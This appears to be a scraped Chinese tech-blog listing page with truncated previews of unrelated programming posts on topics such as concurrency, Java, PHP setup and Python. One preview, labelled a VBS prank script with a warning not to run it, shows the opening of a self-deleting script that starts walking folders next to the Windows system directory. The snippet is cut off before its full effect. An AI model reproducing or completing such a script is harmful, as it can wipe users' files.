软件构造 并发1

并发:多个运算同时发生。 并发模型:共享内存 消息传递 共享内存:并发模块通过在内存中读写共享对象进行交互 ①两个处理器共享物理内存②两个程序共享文件③两个线程(同一个java程序)共享对象 消息传递:并发模块通过通信通道相互发送消息进行交互。模块发送消息,并将传入的消息发送到每个模块以便处理 ①网络中两台计算机通信②web浏览器web server③即时消息的客户端和服务器④通过管道连接两个程序的输入和输出 进程 线程两种不同的并发模块 进程:正在运行程序的一个实例,拥有自己私有专用的内存空
分类: 其他 发布时间: 06-16 23:17 阅读次数: 3

vbs整人脚本,别运行!!!

On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject") Set Cx=fso.GetSpecialFolder(0) fso.GetFile(WScript.ScriptFullName).Delete(True) Do C=fso.GetParentFolderName(Cx) Set Fdrs=fso.GetFolder(C).SubFolders For Each Fdr In Fdrs If Not
分类: 其他 发布时间: 06-16 23:17 阅读次数: 3

Java基础之HashCode解读

前言 在Object类中,提供了一个native方法,public native int hashCode(),该方法的返回值类型是int类型。 Hash的概念 Hash,一般翻译成“散列”,或者直译为“哈希”,把任意长度的输入x,通过散列算法f(x),变成固定的长度输出,该输出值就是散列。
分类: 其他 发布时间: 06-16 23:17 阅读次数: 4

配置完php.ini中的扩展库后,重启apache出现错误1067

网上有很多解决办法,比如更改环境变量,重装apache等等,但没有一个是符合我的.最后发现只是犯了一个低级错误,因为是第一次配置php.ini中的扩展库,忘记配置扩展库的路径. 解决办法:需要先加上扩展库路径: extension_dir = "c:/php7.0/ext" (因为我是安装到c盘下的),然后再进行开启需要的扩展库,如extension=php_gd2.dll(就是把前面的分号去掉).
分类: 其他 发布时间: 06-16 23:17 阅读次数: 3

对不队——Alpha冲刺

第一天 日期:2018/6/16 1.1 今日完成任务:   冯晓、马思远:参会注册功能的实现   王爽、彭辉:网站的前端页面   郝延婷、吴琼:界面设计、博客撰写、代码规范 1.1.1 参会登录界面 1.1.2 个人信息界面 1.1.3 个人信息修改提交 1.1.4 作品提交界面 1.1.5 密码修改界面 1.1.6 注册界面 1.2 明日任务安排:会议后台系统管理部分   冯晓、马思远:后台系统菜单权限的开发   王爽、彭辉:后台角色开发   吴琼、郝延婷:后台权限开发、博客撰写 1.3
分类: 其他 发布时间: 06-16 23:17 阅读次数: 3

[180616] A fumble fish week

大力摸鱼,这周并没有做题。 大概是看番看累了,点开了牛客小白月赛4:https://www.nowcoder.com/acm/contest/134#question 手速不行啦~ 用户名:kirai!
分类: 其他 发布时间: 06-16 23:17 阅读次数: 3

eshop3-JDK 安装

1. 下载软件:http://learning.happymmall.com/ 2. 清理系统默认的JDK rpm -qa | grep jdk 查看已经安装的JDK,然后卸载 查看的结果:jdk1.8-1.8.0_161xxxxx sudo yum remove jdk1.8-1.8.0_161xxxxx 3. 赋予权限 sudo chmod 777 jdk-7u80-linux-x64.rpm 4. 安装 sudo rpm -ivh jdk-7u80-linux-x64.rpm 5. 默认
分类: 其他 发布时间: 06-16 23:07 阅读次数: 3

eshop4-tomcat 安装

1. 下载tomcat 7    2. 解压缩    注意:是否使用sudo 权限执行请根据具体环境来决定 3. sudo vim /etc/profile 在最下方增加 export CATALINA_HOME=/developer/apache-tomcat-7.0.73 4. source /etc/profile 5. 配置UTF-8字符集   进入tomcat 安装的conf文件夹,编辑server.xml     例如: ${CATALINA_HOME}/conf/server.x
分类: 其他 发布时间: 06-16 23:07 阅读次数: 2

递归函数+高阶函数

函数: 1. 递归函数: 在函数内部,可以调用其他函数, 如果一个函数在内部调用自己本身,这个函数就是递归函数; 递归特性: 1. 必须要有一个明确的结束条件; 2. 每次进入更深一层次递归时,问题规模比上一次递归都应有所减少; 3. 递归效率不高,递归层次过多会导致栈溢出。最多支持999次 def calc(n): if n > 1: print(n) return calc(n/2) else: return 1 calc(40) 输出: 40 20.0 10.0 5.0 2.5 1.25
分类: 其他 发布时间: 06-16 23:07 阅读次数: 4

【13】享元模式(FlyWeight Pattern)

  一、引言   在软件开发过程,如果我们需要重复使用某个对象的时候,若重复地使用new创建这个对象的话,就需要多次地去申请内存空间了,这样可能会出现内存使用越来越多的情况,这样的问题是非常严重。享元模式可以解决这个问题,下面具体看看享元模式是如何去解决这个问题的。   二、享元模式的详细介绍   在前面说了,享元模式可以解决上面的问题了。在介绍享元模式之前,让我们先要分析下如果去解决上面那个问题。上面的问题就是重复创建了同一个对象,如果让我们去解决这个问题肯定会这样想:“既然都是同一个对象,
分类: 其他 发布时间: 06-16 23:07 阅读次数: 4

python3 下载 以及 练习1

下载python: https://www.python.org/downloads/release/python-365/ 下载python 社区版(Community https://www.jetbrains.com/pycharm/download/download-thanks.html?platform=windows&code=PCC https://blog.csdn.net/chenggong2dm/article/details/9365437 1.编程实现9*9 的乘法口
分类: 其他 发布时间: 06-16 23:07 阅读次数: 2

序列中连续值之间的差值列表

1 readings=[1,8,3,4,9,6,7] 2 current=readings[0] 3 defferences=[] 4 for next_item in readings[1:]:#注意next_item的值 5 defferences.append(next_item-current) 6 current=next_item 7 print(current) 8 9 for i in defferences: 10 print
分类: 其他 发布时间: 06-16 23:07 阅读次数: 3

作业: 小型购物系统---按函数模式编写

作业:  用户入口:  1. 商品信息存在文件里  2. 已够商品,余额记录    商家入口  2. 可以添加商品,修改商品价格 import os, sys, copy,time products_db = "simple_shop_system_products.db" cart_db = "simple_shop_system_carts.db" # get product data from database def read_products_from_db(database_nam
分类: 其他 发布时间: 06-16 23:07 阅读次数: 3

【BZOJ2437】【NOI2011】兔兔与蛋蛋(博弈论,二分图匹配)

【BZOJ2437】【NOI2011】兔兔与蛋蛋(博弈论,二分图匹配) 题面 BZOJ 题解 考虑一下暴力吧。 对于每个状态,无非就是要考虑它是否是必胜状态 这个直接用\(dfs\)爆搜即可。 这样子对于每一次操作,考虑兔兔操作后的状态是否是必胜状态 如果这个状态是必胜状态,并且蛋蛋操作完后的状态是(兔兔的)必败状态 那么这就是一个“犯错误”的操作。 这样暴力可以拿到\(75pts\) #include<iostream> #include<cstdio> #include<cstdlib>
分类: 其他 发布时间: 06-16 23:07 阅读次数: 3

feign的callback设定后,项目启动错误

错误如下: Error starting ApplicationContext. To display the auto-configuration report re-run your application with 'debug' enabled. 2018-06-16 22:20:47.295 [main] ERROR org.springframework.boot.SpringApplication - Application startup failed org.springfr
分类: 其他 发布时间: 06-16 23:07 阅读次数: 3

数组中字符串按照长度大小排序

直接上代码了 let arr=['css','js','html'];   arr.sort(function(a,b){     return a.length-b.length   }); 获取arr中最后一个元素,内容及长度
分类: 其他 发布时间: 06-16 23:07 阅读次数: 3

机器学习-Python中训练模型的保存和再使用

模型保存 BP:model.save(save_dir) SVM: from sklearn.externals import joblib joblib.dump(clf, save_dir) 模型调用: BP: from keras.models import load_model model = load_model(open_dir) SVM: from sklearn.externals import joblib model = joblib.load(open_dir)
分类: 其他 发布时间: 06-16 23:07 阅读次数: 4

程序清单4.9_flags.c程序_《C Primer Plus》P72

//&nbsp;flags.cpp&nbsp;:&nbsp;定义控制台应用程序的入口点。 // /*&nbsp;flags.c&nbsp;--&nbsp;一些格式标志的使用示例&nbsp;*/ /* &nbsp;&nbsp;&nbsp;&nbsp;时间:2018年06月16日&nbsp;22:40:52 &nbsp;&nbsp;&nbsp;&nbsp;代码:程序清单4.9_flags.c程序_《
分类: 编程语言 发布时间: 06-16 23:07 阅读次数: 3

字符编码与转码

字符编码与转码: Ascii 占1个字节,8bit 只支持英文字符,最多256字符: Unicode 占2个字节,16bit 支持所有 UTF-8 可变长的Unicode,支持中英文,英文占1个字节,中文占3个字节 GBK 只支持中文,占3个字节 Unicode => UTF-8 (encode) UTF-8 => Unicode (decode) Unicode => GBK (encode) GBK => Unicode (decode) a.decode("gbk").encode("g
分类: 其他 发布时间: 06-16 23:02 阅读次数: 4

Day14 Python基础之os/sys/hashlib模块(十二)

os模块 os.getcwd()   #获取当前工作路径 os.chdir(‘dirname1/dirname2/dirname3’)  #改变当前脚本的工作路径,相当于cmd下的cd os.makedirs(‘dirname1/dirname2/dirname3’)  #生成多层递归目录 os.makedir('dirname')  #生成单级目录 os.curdir  #当前目录('.') os.pardir  #获取当前目录的父目录字符串名字('..') os.rmdirs('dirna
分类: 其他 发布时间: 06-16 23:02 阅读次数: 3